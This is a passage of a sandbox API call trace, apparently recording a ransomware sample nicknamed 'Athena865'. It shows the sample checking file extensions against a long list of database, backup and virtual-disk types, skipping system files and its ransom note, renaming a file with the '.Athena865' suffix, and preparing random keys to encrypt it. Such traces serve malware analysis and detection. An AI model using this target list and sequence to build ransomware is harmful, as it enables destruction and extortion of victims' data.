lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0093.736] lstrlenW (lpString="kexic") returned 5 [0093.736] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0093.736] lstrlenW (lpString="kexis") returned 5 [0093.736] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0093.736] lstrlenW (lpString="lgc") returned 3 [0093.736] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0093.737] lstrlenW (lpString="lwx") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0093.737] lstrlenW (lpString="maf") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0093.737] lstrlenW (lpString="maq") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0093.737] lstrlenW (lpString="mar") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0093.737] lstrlenW (lpString="marshal") returned 7 [0093.737] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0093.737] lstrlenW (lpString="mas") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0093.737] lstrlenW (lpString="mav") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0093.737] lstrlenW (lpString="maw") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0093.737] lstrlenW (lpString="mdbhtml") returned 7 [0093.737] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0093.737] lstrlenW (lpString="mdn") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0093.737] lstrlenW (lpString="mdt") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0093.737] lstrlenW (lpString="mfd") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0093.737] lstrlenW (lpString="mpd") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0093.737] lstrlenW (lpString="mrg") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0093.737] lstrlenW (lpString="mud") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0093.737] lstrlenW (lpString="mwb") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0093.737] lstrlenW (lpString="myd") returned 3 [0093.737] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0093.738] lstrlenW (lpString="ndf") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0093.738] lstrlenW (lpString="nnt") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0093.738] lstrlenW (lpString="nrmlib") returned 6 [0093.738] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0093.738] lstrlenW (lpString="ns2") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0093.738] lstrlenW (lpString="ns3") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0093.738] lstrlenW (lpString="ns4") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0093.738] lstrlenW (lpString="nsf") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0093.738] lstrlenW (lpString="nv") returned 2 [0093.738] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0093.738] lstrlenW (lpString="nv2") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0093.738] lstrlenW (lpString="nwdb") returned 4 [0093.738] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0093.738] lstrlenW (lpString="nyf") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0093.738] lstrlenW (lpString="odb") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0093.738] lstrlenW (lpString="odb") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0093.738] lstrlenW (lpString="oqy") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0093.738] lstrlenW (lpString="ora") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0093.738] lstrlenW (lpString="orx") returned 3 [0093.738] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0093.738] lstrlenW (lpString="owc") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0093.739] lstrlenW (lpString="p96") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0093.739] lstrlenW (lpString="p97") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0093.739] lstrlenW (lpString="pan") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0093.739] lstrlenW (lpString="pdb") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0093.739] lstrlenW (lpString="pdm") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0093.739] lstrlenW (lpString="pnz") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0093.739] lstrlenW (lpString="qry") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0093.739] lstrlenW (lpString="qvd") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0093.739] lstrlenW (lpString="rbf") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0093.739] lstrlenW (lpString="rctd") returned 4 [0093.739] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0093.739] lstrlenW (lpString="rod") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0093.739] lstrlenW (lpString="rodx") returned 4 [0093.739] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0093.739] lstrlenW (lpString="rpd") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0093.739] lstrlenW (lpString="rsd") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0093.739] lstrlenW (lpString="sas7bdat") returned 8 [0093.739] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0093.739] lstrlenW (lpString="sbf") returned 3 [0093.739] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0093.740] lstrlenW (lpString="scx") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0093.740] lstrlenW (lpString="sdb") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0093.740] lstrlenW (lpString="sdc") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0093.740] lstrlenW (lpString="sdf") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0093.740] lstrlenW (lpString="sis") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0093.740] lstrlenW (lpString="spq") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0093.740] lstrlenW (lpString="te") returned 2 [0093.740] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0093.740] lstrlenW (lpString="teacher") returned 7 [0093.740] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0093.740] lstrlenW (lpString="tmd") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0093.740] lstrlenW (lpString="tps") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0093.740] lstrlenW (lpString="trc") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0093.740] lstrlenW (lpString="trc") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0093.740] lstrlenW (lpString="trm") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0093.740] lstrlenW (lpString="udb") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0093.740] lstrlenW (lpString="udl") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0093.740] lstrlenW (lpString="usr") returned 3 [0093.740] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0093.741] lstrlenW (lpString="v12") returned 3 [0093.741] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0093.741] lstrlenW (lpString="vis") returned 3 [0093.741] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0093.741] lstrlenW (lpString="vpd") returned 3 [0093.741] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0093.741] lstrlenW (lpString="vvv") returned 3 [0093.741] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0093.741] lstrlenW (lpString="wdb") returned 3 [0093.741] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0093.741] lstrlenW (lpString="wmdb") returned 4 [0093.741] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0093.741] lstrlenW (lpString="wrk") returned 3 [0093.741] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0093.741] lstrlenW (lpString="xdb") returned 3 [0093.741] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0093.741] lstrlenW (lpString="xld") returned 3 [0093.741] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0093.741] lstrlenW (lpString="xmlff") returned 5 [0093.741] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0093.741] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui.Athena865") returned 72 [0093.741] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsdbgui.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsdbgui.dll.mui.athena865"), dwFlags=0x1) returned 1 [0093.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsdbgui.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.749] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11776) returned 1 [0093.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.749] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.752] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.752] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.752] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3100, lpName=0x0) returned 0x17c [0093.753] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3100) returned 0x100000 [0093.769] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.771] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.771] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.772] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.772] CloseHandle (hObject=0x17c) returned 1 [0093.772] CloseHandle (hObject=0x154) returned 1 [0093.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.772] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0093.772] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.772] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.772] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2=".") returned 1 [0093.772] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="..") returned 1 [0093.772] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="windows") returned -1 [0093.772] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="bootmgr") returned 1 [0093.772] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="temp") returned -1 [0093.772] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="pagefile.sys") returned -1 [0093.773] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="boot") returned 1 [0093.773] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="ids.txt") returned 1 [0093.773] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="ntuser.dat") returned -1 [0093.773] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="perflogs") returned -1 [0093.773] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="MSBuild") returned -1 [0093.773] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0093.773] lstrcpyW (in: lpString1=0x241e8a6, lpString2="jsdebuggeride.dll.mui" | out: lpString1="jsdebuggeride.dll.mui") returned="jsdebuggeride.dll.mui" [0093.773] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0093.773] lstrlenW (lpString="Athena865") returned 9 [0093.773] lstrcmpiW (lpString1="e.dll.mui", lpString2="Athena865") returned 1 [0093.773] lstrlenW (lpString=".dll") returned 4 [0093.773] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2=".dll") returned 1 [0093.773] lstrlenW (lpString=".lnk") returned 4 [0093.773] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2=".lnk") returned 1 [0093.773] lstrlenW (lpString=".ini") returned 4 [0093.773] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2=".ini") returned 1 [0093.773] lstrlenW (lpString=".sys") returned 4 [0093.773] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2=".sys") returned 1 [0093.773] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0093.773] lstrlenW (lpString="bak") returned 3 [0093.773] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0093.773] lstrlenW (lpString="ba_") returned 3 [0093.773] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0093.773] lstrlenW (lpString="dbb") returned 3 [0093.773] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0093.773] lstrlenW (lpString="vmdk") returned 4 [0093.773] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0093.773] lstrlenW (lpString="rar") returned 3 [0093.773] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0093.773] lstrlenW (lpString="zip") returned 3 [0093.773] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0093.773] lstrlenW (lpString="tgz") returned 3 [0093.774] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0093.774] lstrlenW (lpString="vbox") returned 4 [0093.774] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0093.774] lstrlenW (lpString="vdi") returned 3 [0093.774] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0093.774] lstrlenW (lpString="vhd") returned 3 [0093.774] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0093.774] lstrlenW (lpString="vhdx") returned 4 [0093.774] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0093.774] lstrlenW (lpString="avhd") returned 4 [0093.774] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0093.774] lstrlenW (lpString="db") returned 2 [0093.774] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0093.774] lstrlenW (lpString="db2") returned 3 [0093.774] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0093.774] lstrlenW (lpString="db3") returned 3 [0093.774] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0093.774] lstrlenW (lpString="dbf") returned 3 [0093.774] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0093.774] lstrlenW (lpString="mdf") returned 3 [0093.774] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0093.774] lstrlenW (lpString="mdb") returned 3 [0093.774] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0093.774] lstrlenW (lpString="sql") returned 3 [0093.774] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0093.774] lstrlenW (lpString="sqlite") returned 6 [0093.774] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0093.774] lstrlenW (lpString="sqlite3") returned 7 [0093.774] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0093.774] lstrlenW (lpString="sqlitedb") returned 8 [0093.774] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0093.774] lstrlenW (lpString="xml") returned 3 [0093.775] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0093.775] lstrlenW (lpString="$er") returned 3 [0093.775] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0093.775] lstrlenW (lpString="4dd") returned 3 [0093.775] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0093.775] lstrlenW (lpString="4dl") returned 3 [0093.775] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0093.775] lstrlenW (lpString="^^^") returned 3 [0093.775] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0093.775] lstrlenW (lpString="abs") returned 3 [0093.775] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0093.775] lstrlenW (lpString="abx") returned 3 [0093.775] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0093.775] lstrlenW (lpString="accdb") returned 5 [0093.775] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0093.775] lstrlenW (lpString="accdc") returned 5 [0093.775] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0093.775] lstrlenW (lpString="accde") returned 5 [0093.775] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0093.775] lstrlenW (lpString="accdr") returned 5 [0093.775] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0093.775] lstrlenW (lpString="accdt") returned 5 [0093.775] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0093.775] lstrlenW (lpString="accdw") returned 5 [0093.775] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0093.775] lstrlenW (lpString="accft") returned 5 [0093.775] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0093.775] lstrlenW (lpString="adb") returned 3 [0093.775] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.775] lstrlenW (lpString="adb") returned 3 [0093.775] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.776] lstrlenW (lpString="ade") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0093.776] lstrlenW (lpString="adf") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0093.776] lstrlenW (lpString="adn") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0093.776] lstrlenW (lpString="adp") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0093.776] lstrlenW (lpString="alf") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0093.776] lstrlenW (lpString="ask") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0093.776] lstrlenW (lpString="btr") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0093.776] lstrlenW (lpString="cat") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0093.776] lstrlenW (lpString="cdb") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0093.776] lstrlenW (lpString="ckp") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0093.776] lstrlenW (lpString="cma") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0093.776] lstrlenW (lpString="cpd") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0093.776] lstrlenW (lpString="dacpac") returned 6 [0093.776] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0093.776] lstrlenW (lpString="dad") returned 3 [0093.776] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0093.776] lstrlenW (lpString="dadiagrams") returned 10 [0093.776] lstrcmpiW (lpString1="de.dll.mui", lpString2="dadiagrams") returned 1 [0093.776] lstrlenW (lpString="daschema") returned 8 [0093.776] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0093.776] lstrlenW (lpString="db-journal") returned 10 [0093.777] lstrcmpiW (lpString1="de.dll.mui", lpString2="db-journal") returned 1 [0093.777] lstrlenW (lpString="db-shm") returned 6 [0093.777] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0093.777] lstrlenW (lpString="db-wal") returned 6 [0093.777] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0093.777] lstrlenW (lpString="dbc") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0093.777] lstrlenW (lpString="dbs") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0093.777] lstrlenW (lpString="dbt") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0093.777] lstrlenW (lpString="dbv") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0093.777] lstrlenW (lpString="dbx") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0093.777] lstrlenW (lpString="dcb") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0093.777] lstrlenW (lpString="dct") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0093.777] lstrlenW (lpString="dcx") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0093.777] lstrlenW (lpString="ddl") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0093.777] lstrlenW (lpString="dlis") returned 4 [0093.777] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0093.777] lstrlenW (lpString="dp1") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0093.777] lstrlenW (lpString="dqy") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0093.777] lstrlenW (lpString="dsk") returned 3 [0093.777] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0093.778] lstrlenW (lpString="dsn") returned 3 [0093.778] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0093.778] lstrlenW (lpString="dtsx") returned 4 [0093.778] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0093.778] lstrlenW (lpString="dxl") returned 3 [0093.778] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0093.778] lstrlenW (lpString="eco") returned 3 [0093.778] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0093.778] lstrlenW (lpString="ecx") returned 3 [0093.778] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0093.778] lstrlenW (lpString="edb") returned 3 [0093.778] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0093.778] lstrlenW (lpString="epim") returned 4 [0093.778] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0093.778] lstrlenW (lpString="fcd") returned 3 [0093.778] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0093.778] lstrlenW (lpString="fdb") returned 3 [0093.778] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0093.778] lstrlenW (lpString="fic") returned 3 [0093.778] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0093.778] lstrlenW (lpString="flexolibrary") returned 12 [0093.778] lstrcmpiW (lpString1="ride.dll.mui", lpString2="flexolibrary") returned 1 [0093.778] lstrlenW (lpString="fm5") returned 3 [0093.778] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0093.778] lstrlenW (lpString="fmp") returned 3 [0093.778] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0093.778] lstrlenW (lpString="fmp12") returned 5 [0093.778] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0093.778] lstrlenW (lpString="fmpsl") returned 5 [0093.778] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0093.778] lstrlenW (lpString="fol") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0093.779] lstrlenW (lpString="fp3") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0093.779] lstrlenW (lpString="fp4") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0093.779] lstrlenW (lpString="fp5") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0093.779] lstrlenW (lpString="fp7") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0093.779] lstrlenW (lpString="fpt") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0093.779] lstrlenW (lpString="frm") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0093.779] lstrlenW (lpString="gdb") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0093.779] lstrlenW (lpString="gdb") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0093.779] lstrlenW (lpString="grdb") returned 4 [0093.779] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0093.779] lstrlenW (lpString="gwi") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0093.779] lstrlenW (lpString="hdb") returned 3 [0093.779] lstrcmpiW (lpString1="mui", 